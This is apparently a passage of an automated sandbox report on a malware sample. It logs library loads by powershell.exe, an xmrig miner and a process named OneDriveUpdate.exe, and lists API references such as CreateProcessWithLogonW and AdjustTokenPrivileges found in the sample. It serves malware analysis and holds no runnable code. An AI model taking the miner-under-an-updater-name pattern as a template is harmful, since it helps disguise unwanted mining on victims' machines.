"powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\199f66bc1a6fe937deb9e320cbcaacd7\Microsoft.Management.Infrastr (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00004556) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00004556) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003544) "xmrig.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003544) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-security-systemfunctions-l1-1-0 (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00005904) "OneDriveUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005904)37:T672,Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "g____PInvoke|10_0" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "g____PInvoke|19_0" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "CreateProcessWithLogonW" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "StartWithCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "CreateProcessWT" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "CreateProcessWithLogonWT" (Indicator: "CreateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")38:T790,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "Failed to map file. CreateFileMappingW(%s) failed with error %d" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "Failed to map file. CreateFileW(%s) failed with error %d" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "InvalidOperation_CantCreateFileMapping" (Indicator: "CreateFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "Failed to map file. CreateFileMappingW(%s) failed with error %d" (Indicator: "CreateFile"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "Failed to map file. CreateFileW(%s) failed with error %d" (Indicator: "CreateFile"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")39:Te8a8,Found reference to API (Indicator: "RegisterEventSourceW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ReportEventW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RegCloseKey"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "OpenThreadToken"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetKernelObjectSecurity"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetSidSubAuthority"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "DeregisterEventSource"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetSidSubAuthorityCount"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RevertToSelf"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RegGetValueW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "EventRegister"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "EventWrite"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadToken"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SwitchToThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "MapViewOfFileEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateMemoryResourceNotification"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "QueryThreadCycleTime"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetProcAddress"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetTempPathW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InitializeContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetLogicalProcessorInformation"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FlushInstructionCache"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ReleaseSemaphore"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "Sleep"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RaiseFailFastException"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ExitThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "OutputDebugStringW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "HeapFree"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetEvent"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FindNextFileW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FormatMessageW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VirtualFree"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateMutexW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FindResourceW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "IsProcessInJob"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetFileAttributesExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "EncodePointer"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetErrorMode"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "TlsGetValue"; File: 